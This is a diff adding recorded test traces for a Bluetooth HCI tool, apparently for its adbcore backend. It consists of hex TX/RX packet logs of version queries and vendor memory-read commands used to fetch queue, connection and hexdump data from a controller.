+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 0116fe0e
+RX 014dfc05301e220004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c201173734
+RX 04
+RX 0e08014dfc00541e2200
+TX 0108004dfc05541e220004
+RX 0000000900000009000000020000000000e269c20118f296
+RX 014dfc05541e220004
+RX 0000000b0000000b
+RX 000000030000000000e269c2011926ef
+RX 040e08014dfc00781e2200
+TX 0108004dfc05781e220004
+RX 0000000900000009000000020000000000e269c2011a6bbe
+RX 014dfc05781e220004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c2011a9958
+RX 04
+RX 0e08014dfc009c1e2200
+TX 0108004dfc059c1e220004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 011c676b
+RX 014dfc059c1e220004
+RX 0000000b0000000b00000003
+RX 0000000000e269c2011c9b6e
+RX 040e08014dfc00c01e2200
+TX 0108004dfc05c01e220004
+RX 0000000900000009000000020000000000e269c2
+RX 011dda94
+RX 014dfc05c01e220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c2011e0829
+RX 04
+RX 0e08014dfc00e41e2200
+TX 0108004dfc05e41e220004
+RX 0000000900000009000000020000000000e269c2011fd393
+RX 014dfc05e41e220004
+RX 0000000b0000000b
+RX 0000000300000000
+RX 00e269c201200234
+RX 040e08014dfc00081f2200
+TX 0108004dfc05081f220004
+RX 0000000900000009000000020000000000e269c2
+RX 012145f7
+RX 014dfc05081f220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c20121a431
+RX 04
+RX 0e08014dfc002c1f2200
+TX 0108004dfc052c1f220004
+RX 000000090000000900000002
+RX 0000000000e269c201230eec
+RX 014dfc052c1f220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c201231658
+RX 040e08014dfc00501f2200
+TX 0108004dfc05501f220004
+RX 0000000900000009
+RX 000000020000000000e269c20124484f
+RX 014dfc05501f220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c201244f7a
+RX 040e08014dfc00741f2200
+TX 0108004dfc05741f220004
+RX 00000009
+RX 00000009000000020000000000e269c201250543
+RX 01
+RX 4dfc05741f220004
+RX 0000000b0000000b000000030000000000e269c2
+RX 01250d7b
+RX 040e08014dfc00981f2200
+TX 0108004dfc05981f220004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 0125e492
+RX 014dfc05981f220004
+RX 0000000b0000000b00000003
+RX 0000000000e269c201260ab3
+RX 040e08014dfc00bc1f2200
+TX 0108004dfc05bc1f220004
+RX 0000000900000009000000020000000000e269c2
+RX 01276da0
+RX 014dfc05bc1f220004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c201279c46
+RX 040e08014dfc00e01f2200
+TX 0108004dfc05e01f220004
+RX 0000000900000009000000020000000000e269c2
+RX 0128e461
+RX 014dfc05e01f220004
+RX 0000000b0000000b00000003
+RX 0000000000e269c2012914b3
+RX 040e08014dfc0000000000
+Socket closed

tests/traces/adbcore/dictionary_tests/info_queue.trace

@@ -0,0 +1,148 @@
+# info queue
+TX 010300011000
+RX 0000000400000004000000020000000000e269c2663770fc
+RX 01011000
+RX 0000000f0000000f000000030000000000e269c26637a4a7
+RX 040e0c01011000075301070f000961
+TX 070200f001
+TX 0108004dfc057c30200004
+RX 00000003000000030000000300000000
+RX 00e269c266390c8a
+RX 07f001
+RX 00000009
+RX 000000090000000200000000
+RX 00e269c2663974da
+RX 01
+RX 4dfc057c30200004
+RX 0000000b0000000b
+RX 000000030000000000e269c26639ac63
+RX 040e08014dfc0090652000
+TX 0108004dfc059065200038
+RX 000000090000000900000002
+RX 0000000000e269c2
+RX 663b4f1a
+RX 014dfc059065200038
+RX 0000003f0000003f0000000300000000
+RX 00e269c2663b83d8
+RX 040e3c014dfc00554555510000000001000000100000000000000010000000c8652000086620000466200004662000000000000000000044662000ecad2000
+TX 0108004dfc054466200038
+RX 000000090000000900000002
+RX 0000000000e269c2663d419c
+RX 014dfc054466200038
+RX 0000003f
+RX 0000003f000000030000000000e269c2
+RX 663d7aab
+RX 040e3c014dfc005545555100000000020000001f000000000000001f0000007c66200074672000ac662000ac66200000000000000000007467200090652000
+TX 0108004dfc057467200038
+RX 0000000900000009000000020000000000e269c2
+RX 663ebb9e
+RX 014dfc057467200038
+RX 0000003f0000003f00000003
+RX 0000000000e269c2663eeac6
+RX 040e3c014dfc00554555510000000001000000030000000000000003000000ac672000b8672000ac672000ac6720000000000000000000b867200044662000
+TX 0108004dfc05b867200038
+RX 0000000900000009000000020000000000e269c26640af70
+RX 01
+RX 4dfc05b867200038
+RX 0000003f0000003f
+RX 000000030000000000e269c2
+RX 6640e3ed
+RX 040e3c014dfc005545555100000000010000001f000000000000001f000000f06720006c682000f0672000f067200000000000000000006c68200074672000
+TX 0108004dfc056c68200038
+RX 0000000900000009000000020000000000e269c26642a534
+RX 014dfc056c68200038
+RX 0000003f
+RX 0000003f0000000300000000
+RX 00e269c26642d8cd
+RX 04
+RX 0e3c014dfc00554555510000000001000000140000000000000014000000a4682000f4682000e0682000e06820000000000000000000f4682000b8672000
+TX 0108004dfc05f468200038
+RX 0000000900000009000000020000000000e269c266441bec
+RX 014dfc05f468200038
+RX 0000003f
+RX 0000003f000000030000000000e269c2
+RX 6644504f
+RX 040e3c014dfc005545555100000000020000000800000000000000080000002c6920006c6920002c6920002c69200000000000000000006c6920006c682000
+TX 0108004dfc056c69200038
+RX 000000090000000900000002
+RX 0000000000e269c2
+RX 664611cc
+RX 014dfc056c69200038
+RX 0000003f
+RX 0000003f0000000300000000
+RX 00e269c266464b12
+RX 04
+RX 0e3c014dfc00554555510000000002000000060000000000000006000000a4692000d4692000a4692000a46920000000000000000000d4692000f4682000
+TX 0108004dfc05d469200038
+RX 00000009000000090000000200000000
+RX 00e269c266478916
+RX 01
+RX 4dfc05d469200038
+RX 0000003f0000003f00000003
+RX 0000000000e269c26647be39
+RX 040e3c014dfc00554555510000000002000000010000000000000001000000100d2000180d2000100d2000100d200000000000000000000c6a20006c692000
+TX 0108004dfc050c6a200038
+RX 000000090000000900000002
+RX 0000000000e269c2664987ae
+RX 014dfc050c6a200038
+RX 0000003f0000003f
+RX 000000030000000000e269c2
+RX 6649bc49
+RX 040e3c014dfc00554555510000000002000000010000000000000001000000180d2000200d2000180d2000180d20000000000000000000446a2000d4692000
+TX 0108004dfc05446a200038
+RX 000000090000000900000002
+RX 0000000000e269c2664af918
+RX 014dfc05446a200038
+RX 0000003f
+RX 0000003f000000030000000000e269c2
+RX 664b2d9b
+RX 040e3c014dfc005545555100000000020000002000000000000000200000007c6a20007c6b20007c6a20007c6a20000000000000000000903320000c6a2000
+TX 0108004dfc059033200038
+RX 0000000900000009000000020000000000e269c2664cf025
+RX 014dfc059033200038
+RX 0000003f0000003f
+RX 000000030000000000e269c2
+RX 664d236e
+RX 040e3c014dfc005545555100000000020000000c000000000000000c0000009c732100fc732100ac732100ac7321000000000000000000705b2000446a2000
+TX 0108004dfc05705b200038
+RX 0000000900000009000000020000000000e269c2
+RX 664ee493
+RX 014dfc05705b200038
+RX 0000003f0000003f0000000300000000
+RX 00e269c2664f184e
+RX 04
+RX 0e3c014dfc00554555510000000001000000080000000000000008000000fc7321001c74210010742100107421000000000000000000c833200090332000
+TX 0108004dfc05c833200038
+RX 000000090000000900000002
+RX 0000000000e269c2665059ac
+RX 014dfc05c833200038
+RX 0000003f
+RX 0000003f000000030000000000e269c2
+RX 6650912f
+RX 040e3c014dfc005545555100000000020000001300000000000000130000001c742100b47421001c7421001c7421000000000000000000b4512000705b2000
+TX 0108004dfc05b451200038
+RX 0000000900000009
+RX 000000020000000000e269c266525485
+RX 014dfc05b451200038
+RX 0000003f
+RX 0000003f000000030000000000e269c2
+RX 6652883b
+RX 040e3c014dfc00554555510000000002000000060000000000000006000000b4742100e4742100b4742100b4742100000000000000000094ad2000c8332000
+TX 0108004dfc0594ad200038
+RX 000000090000000900000002
+RX 0000000000e269c26653c77b
+RX 014dfc0594ad200038
+RX 0000003f
+RX 0000003f000000030000000000e269c2
+RX 6653fcfb
+RX 040e3c014dfc00554555510000000001000000080000000000000008000000ccad2000ecad2000ccad2000ccad20000000000000000000ecad2000b4512000
+TX 0108004dfc05ecad200038
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 6655bd0f
+RX 014dfc05ecad200038
+RX 0000003f
+RX 0000003f000000030000000000e269c2
+RX 6655f6b7
+RX 040e3c014dfc0055455551000000000100000010000000000000001000000024ae200064ae200024ae200024ae200000000000000000009065200094ad2000
+Socket closed

tests/traces/adbcore/hci_0x1001.trace

@@ -0,0 +1,36 @@
+# sendhcicmd 0x1001
+TX 010300011000
+RX 00000004
+RX 00000004
+RX 00000002
+RX 00000000
+RX 00e269bf
+RX 571013e3
+RX 01
+RX 011000
+RX 0000000f0000000f
+RX 00000003
+RX 00000000
+RX 00e269bf
+RX 57105c83
+RX 04
+RX 0e0c01011000075301070f000961
+TX 070200f001
+RX 000000030000000300000003
+RX 0000000000e269bf571262bd
+RX 07
+RX f001
+TX 010300011000
+RX 000000040000000400000002
+RX 00000000
+RX 00e269bf
+RX 573133d5
+RX 01
+RX 011000
+RX 0000000f
+RX 0000000f
+RX 0000000300000000
+RX 00e269bf57317b7a
+RX 04
+RX 0e0c01011000075301070f000961
+Socket closed

tests/traces/adbcore/hci_0x1337.trace

@@ -0,0 +1,33 @@
+# sendhcicmd 0x1337
+TX 010300011000
+RX 00000004
+RX 00000004
+RX 00000002
+RX 00000000
+RX 00e269bf
+RX 5a00c7f5
+RX 01
+RX 011000
+RX 0000000f
+RX 0000000f0000000300000000
+RX 00e269bf
+RX 5a011119
+RX 040e0c01011000075301070f000961
+TX 070200f001
+RX 000000030000000300000003
+RX 0000000000e269bf5a030c96
+RX 07f001
+TX 010300371300
+RX 000000040000000400000002
+RX 00000000
+RX 00e269bf
+RX 5a7baf54
+RX 01
+RX 371300
+RX 0000000700000007
+RX 00000003
+RX 00000000
+RX 00e269bf
+RX 5a7bf8b7
+RX 040e0401371301
+Socket closed

tests/traces/adbcore/hexdump_0.trace

@@ -0,0 +1,34 @@
+# hexdump 0
+TX 010300011000
+RX 0000000400000004000000020000000000e269bf52d3099e
+RX 01011000
+RX 0000000f0000000f000000030000000000e269bf52d351f1
+RX 040e0c01011000075301070f000961
+TX 070200f001
+RX 00000003000000030000000300000000
+RX 00e269bf52d43cea
+RX 07f001
+TX 0108004dfc0500000000fb
+RX 000000090000000900000002
+RX 00000000
+RX 00e269bf
+RX 530f0c74
+RX 01
+RX 4dfc0500000000fb
+RX 00000102
+RX 00000102
+RX 00000003
+RX 00000000
+RX 00e269bf
+RX 530f5400
+RX 04
+RX 0eff014dfc0000042000010200009f7506006775060067750600677506006775060000000000000000000000000000000000c5880600a175060000000000c588060095750600b1750600d5750600d5750600d5750600d5750600d5750600d5750600d5750600d5750600d5750600c3750600e7750600e7750600e7750600e7750600f9750600077606001576060023760600317606003f7606008576060093760600a5760600677506004d760600a3750600a3750600a3750600cb7606006775060067750600d9760600e7760600f57606000377060067750600677506006775060067750600357706002777060067750600677506005177060043770600117706
+TX 0108004dfc05fb00000005
+RX 000000090000000900000002
+RX 0000000000e269bf5310814f
+RX 014dfc05fb00000005
+RX 0000000c0000000c
+RX 000000030000000000e269bf
+RX 5310b34e
+RX 040e09014dfc000067750600
+Socket closed

tests/traces/adbcore/info_connections.trace

@@ -0,0 +1,187 @@
+#info connections
+TX 010300011000
+RX 0000000400000004000000020000000000e269c211af9287
+RX 01011000
+RX 0000000f0000000f000000030000000000e269c211afc606
+RX 040e0c01011000075301070f000961
+TX 070200f001
+TX 0108004dfc05e8382000fb
+RX 000000030000000300000003
+RX 0000000000e269c211b12cec
+RX 07f001
+RX 00000009000000090000000200000000
+RX 00e269c211b19677
+RX 01
+RX 4dfc05e8382000fb
+RX 0000010200000102
+RX 000000030000000000e269c2
+RX 11b1ce0d
+RX 040eff014dfc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc05e339200051
+RX 0000000900000009000000020000000000e269c211b36d33
+RX 01
+RX 4dfc05e339200051
+RX 0000005800000058
+RX 000000030000000000e269c2
+RX 11b39be7
+RX 040e55014dfc00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc05343a2000fb
+RX 000000090000000900000002
+RX 0000000000e269c211b5679f
+RX 014dfc05343a2000fb
+RX 000001020000010200000003
+RX 0000000000e269c211b59bbc
+RX 040eff014dfc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc052f3b200051
+RX 000000090000000900000002
+RX 0000000000e269c211b6da65
+RX 014dfc052f3b200051
+RX 00000058
+RX 000000580000000300000000
+RX 00e269c211b7103c
+RX 040e55014dfc00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc05803b2000fb
+RX 00000009000000090000000200000000
+RX 00e269c211b8d0df
+RX 01
+RX 4dfc05803b2000fb
+RX 000001020000010200000003
+RX 0000000000e269c211b90a7f
+RX 040eff014dfc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc057b3c200051
+RX 0000000900000009000000020000000000e269c211ba4851
+RX 01
+RX 4dfc057b3c200051
+RX 0000005800000058
+RX 000000030000000000e269c2
+RX 11ba776c
+RX 040e55014dfc00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc05cc3c2000fb
+RX 000000090000000900000002
+RX 0000000000e269c211bc4807
+RX 014dfc05cc3c2000fb
+RX 0000010200000102
+RX 000000030000000000e269c211bc7e24
+RX 040eff014dfc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc05c73d200051
+RX 0000000900000009000000020000000000e269c211bdb8a1
+RX 014dfc05c73d200051
+RX 0000005800000058
+RX 000000030000000000e269c2
+RX 11bded98
+RX 040e55014dfc00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc05183e2000fb
+RX 0000000900000009000000020000000000e269c211bfb647
+RX 01
+RX 4dfc05183e2000fb
+RX 0000010200000102
+RX 000000030000000000e269c2
+RX 11bfe6b2
+RX 040eff014dfc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc05133f200051
+RX 0000000900000009000000020000000000e269c211c1aa86
+RX 014dfc05133f200051
+RX 00000058
+RX 00000058000000030000000000e269c2
+RX 11c1da6e
+RX 040e55014dfc00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc05643f2000fb
+RX 0000000900000009000000020000000000e269c2
+RX 11c31d18
+RX 014dfc05643f2000fb
+RX 00000102000001020000000300000000
+RX 00e269c211c35297
+RX 04
+RX 0eff014dfc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc055f40200051
+RX 000000090000000900000002
+RX 0000000000e269c211c51823
+RX 014dfc055f40200051
+RX 00000058
+RX 000000580000000300000000
+RX 00e269c211c54c9e
+RX 04
+RX 0e55014dfc00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc05b0402000fb
+RX 000000090000000900000002
+RX 0000000000e269c211c689b0
+RX 014dfc05b0402000fb
+RX 00000102
+RX 000001020000000300000000
+RX 00e269c211c6bf30
+RX 04
+RX 0eff014dfc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc05ab41200051
+RX 000000090000000900000002
+RX 0000000000e269c2
+RX 11c88437
+RX 014dfc05ab41200051
+RX 00000058
+RX 000000580000000300000000
+RX 00e269c211c8ba69
+RX 04
+RX 0e55014dfc00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc05fc412000fb
+RX 000000090000000900000002
+RX 0000000000e269c211c9f7a0
+RX 014dfc05fc412000fb
+RX 00000102
+RX 00000102000000030000000000e269c2
+RX 11ca2c9d
+RX 040eff014dfc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc05f742200051
+RX 000000090000000900000002
+RX 0000000000e269c211cbee6a
+RX 014dfc05f742200051
+RX 00000058
+RX 00000058000000030000000000e269c2
+RX 11cc2779
+RX 040e55014dfc00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc0548432000fb
+RX 0000000900000009000000020000000000e269c2
+RX 11cde3be
+RX 014dfc0548432000fb
+RX 00000102
+RX 000001020000000300000000
+RX 00e269c211ce175c
+RX 04
+RX 0eff014dfc000900000000000000000000000000000000000000000000000000777700c91000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005000000007d0000007d00000c001eff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002800000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff0000000100000000000000f0ff0000000000000000000001c4000000000000
+TX 0108004dfc054344200051
+RX 0000000900000009000000020000000000e269c2
+RX 11cf5a52
+RX 014dfc054344200051
+RX 000000580000005800000003
+RX 0000000000e269c211cf8917
+RX 040e55014dfc00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc0594442000fb
+RX 0000000900000009000000020000000000e269c211d14fcf
+RX 01
+RX 4dfc0594442000fb
+RX 0000010200000102
+RX 000000030000000000e269c211d182db
+RX 040eff014dfc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc058f45200051
+RX 0000000900000009000000020000000000e269c2
+RX 11d2c911
+RX 014dfc058f45200051
+RX 00000058000000580000000300000000
+RX 00e269c211d2f819
+RX 04
+RX 0e55014dfc00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc05e0452000fb
+RX 0000000900000009
+RX 000000020000000000e269c211d4c00a
+RX 014dfc05e0452000fb
+RX 00000102
+RX 00000102000000030000000000e269c2
+RX 11d4fa18
+RX 040eff014dfc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc05db46200051
+RX 0000000900000009
+RX 000000020000000000e269c211d6b5d7
+RX 014dfc05db46200051
+RX 00000058
+RX 00000058000000030000000000e269c2
+RX 11d6efa7
+RX 040e55014dfc00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+Socket closed

tests/traces/adbcore/info_connections_2.trace

@@ -0,0 +1,168 @@
+# info connections
+TX 010300011000
+RX 0000000400000004000000020000000000e26b46e2c309cc
+RX 01011000
+RX 0000000f0000000f000000030000000000e26b46e2c3274f
+RX 04
+RX 0e0c01011000075301070f000961
+TX 070200f001
+TX 0108004dfc05e8382000fb
+RX 000000030000000300000003
+RX 0000000000e26b46e2c428e8
+RX 07
+RX f001
+RX 0000000900000009000000020000000000e26b46
+RX e2c446b6
+RX 014dfc05e8382000fb
+RX 00000102000001020000000300000000
+RX 00e26b46e2c46686
+RX 04
+RX 0eff014dfc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc05e339200051
+RX 0000000900000009000000020000000000e26b46e2c54298
+RX 01
+RX 4dfc05e339200051
+RX 0000005800000058
+RX 000000030000000000e26b46e2c55b0a
+RX 040e55014dfc00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc05343a2000fb
+RX 0000000900000009000000020000000000e26b46e2c66e34
+RX 014dfc05343a2000fb
+RX 000001020000010200000003
+RX 0000000000e26b46e2c68443
+RX 040eff014dfc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc052f3b200051
+RX 000000090000000900000002
+RX 0000000000e26b46e2c790ea
+RX 014dfc052f3b200051
+RX 00000058000000580000000300000000
+RX 00e26b46e2c7af14
+RX 040e55014dfc00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc05803b2000fb
+RX 000000090000000900000002
+RX 0000000000e26b46e2c8a5a1
+RX 014dfc05803b2000fb
+RX 00000102000001020000000300000000
+RX 00e26b46e2c8c6f1
+RX 040eff014dfc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc057b3c200051
+RX 0000000900000009000000020000000000e26b46e2c987eb
+RX 014dfc057b3c200051
+RX 0000005800000058000000030000000000e26b46
+RX e2c9a0dd
+RX 040e55014dfc00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc05cc3c2000fb
+RX 000000090000000900000002
+RX 0000000000e26b46e2caa510
+RX 014dfc05cc3c2000fb
+RX 0000010200000102000000030000000000e26b46
+RX e2cac525
+RX 040eff014dfc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc05c73d200051
+RX 0000000900000009000000020000000000e26b46e2cbcf4b
+RX 01
+RX 4dfc05c73d200051
+RX 000000580000005800000003
+RX 0000000000e26b46e2cbf034
+RX 040e55014dfc00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc05183e2000fb
+RX 0000000900000009000000020000000000e26b46e2cca023
+RX 014dfc05183e2000fb
+RX 000001020000010200000003
+RX 0000000000e26b46e2ccc67f
+RX 04
+RX 0eff014dfc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc05133f200051
+RX 00000009000000090000000200000000
+RX 00e26b46e2cda8a4
+RX 01
+RX 4dfc05133f200051
+RX 0000005800000058000000030000000000e26b46e2cdce30
+RX 040e55014dfc00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc05643f2000fb
+RX 0000000900000009000000020000000000e26b46
+RX e2ced9d5
+RX 014dfc05643f2000fb
+RX 000001020000010200000003
+RX 0000000000e26b46e2cef558
+RX 04
+RX 0eff014dfc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc055f40200051
+RX 000000090000000900000002
+RX 0000000000e26b46e2cf504b
+RX 014dfc055f40200051
+RX 00000058000000580000000300000000
+RX 00e26b46e2cf73b7
+RX 040e55014dfc00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc05b0402000fb
+RX 000000090000000900000002
+RX 0000000000e26b46e2d06c12
+RX 014dfc05b0402000fb
+RX 0000010200000102000000030000000000e26b46
+RX e2d093f7
+RX 040eff014dfc0007000000000000000000000000000007000000000000000000007711572d980700000000000010002e1a3a022300feb10a00c821ffff8ffa9bff59870100000000000000000000000000000000000000000000000000008d0500fa0a401f0000401f00000c001adddbea2d9c47bc1aa6afe664ff31591aa6e98a5eaaff39ecb5ce4447590dfb73a4161203cd6e77be6a4bcfb3ee52d3e2c40000000028000404000000130000001000000000020001003c002003001800009c7e1200b00402000200000002000101010200000000000000000000ffffffffffffffff0000000100000000000005f8ff001add0020000000000015d1000000000000
+TX 0108004dfc05ab41200051
+RX 000000090000000900000002
+RX 0000000000e26b46e2d18faa
+RX 014dfc05ab41200051
+RX 0000005800000058000000030000000000e26b46e2d1ade2
+RX 040e55014dfc000000000000000000000000000000000000a4000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000001000000
+TX 0108004dfc05fc412000fb
+RX 0000000900000009000000020000000000e26b46e2d2b2dd
+RX 014dfc05fc412000fb
+RX 0000010200000102000000030000000000e26b46e2d2ceb2
+RX 040eff014dfc000800000000000000000000000000000000000000000000000000777700c91000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005000000007d0000007d00000b001eff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002800000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff0000000100000000000000f0ff0000000000000000000001c4000000000000
+TX 0108004dfc05f742200051
+RX 0000000900000009000000020000000000e26b46e2d3c699
+RX 01
+RX 4dfc05f742200051
+RX 00000058000000580000000300000000
+RX 00e26b46e2d3e510
+RX 04
+RX 0e55014dfc00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc0548432000fb
+RX 0000000900000009000000020000000000e26b46e2d563ce
+RX 014dfc0548432000fb
+RX 00000102000001020000000300000000
+RX 00e26b46e2d57e0a
+RX 040eff014dfc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc054344200051
+RX 0000000900000009000000020000000000e26b46e2d62821
+RX 014dfc054344200051
+RX 000000580000005800000003
+RX 0000000000e26b46e2d63ad6
